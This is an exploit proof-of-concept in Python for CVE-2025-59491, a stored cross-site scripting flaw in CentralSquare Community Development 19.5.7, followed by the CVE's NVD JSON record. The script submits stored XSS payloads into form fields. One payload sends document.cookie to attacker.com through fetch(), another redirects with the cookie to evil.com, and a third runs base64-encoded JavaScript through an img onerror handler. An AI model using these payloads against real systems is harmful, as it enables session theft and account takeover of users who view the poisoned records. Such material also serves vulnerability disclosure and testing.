CVE-2025-59491

import requests import urllib.parse # CVE-2025-59491 PoC - CentralSquare Community Development XSS # Target: CentralSquare Community Development 19.5.7 # Vulnerability: Stored XSS in form fields target_url = "http://target-server.com/etrakit/submit/form" # XSS payload - Cookie stealing xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Alternative payload - Image tag error handler alt_payload = "<img src=x onerror='eval(atob(\"YWxlcnQoJ0NTU1hTUycpOw==\"))' >" data = { 'firstName': xss_payload, 'lastName': 'Test User', 'address': '123 Test St', 'description': '<script>document.location="https://evil.com/steal?"+document.cookie</script>', 'submit': 'Save' } try: response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] XSS payload submitted successfully") print(f"[+] Payload: {urllib.parse.quote(xss_payload)}") print(f"[+] Any user viewing this record will trigger the XSS") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2025-59491", "sourceIdentifier": "[email protected]", "published": "2025-11-12T17:15:38.520", "lastModified": "2025-12-31T16:38:29.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in CentralSquare Community Development 19.5.7 via form fields."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centralsquare:community_development:19.5.7.1:*:*:*:*:*:*:*", "matchCriteriaId": "EDED82E0-6544-4C55-8C66-EA0EECD9BBF1"}]}]}], "references": [{"url": "https://centralsquare.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://machevalia.blog/blog/multiple-vulnerabilities-in-centralsquare-etrakit-and-ivr", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}